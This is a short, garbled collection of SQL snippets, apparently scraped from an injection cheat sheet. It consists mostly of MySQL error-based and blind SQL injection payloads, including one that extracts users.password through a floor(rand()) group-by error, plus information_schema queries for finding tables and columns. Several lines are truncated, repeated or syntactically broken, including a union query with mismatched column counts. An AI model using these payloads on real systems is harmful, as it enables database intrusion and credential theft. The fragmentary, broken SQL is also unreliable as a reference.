1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
Select row from table from each schema.
Select row from table from each schema. 1. Oracle Select from multple Tables.
select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
(select 1 from(select count(*), concat(( select( select unhex(hex
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SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'columnname';#find table which have a column called 'columnname' and 0<(select count(xxx) from tbl_user) and 1<2 #盲注爆字段.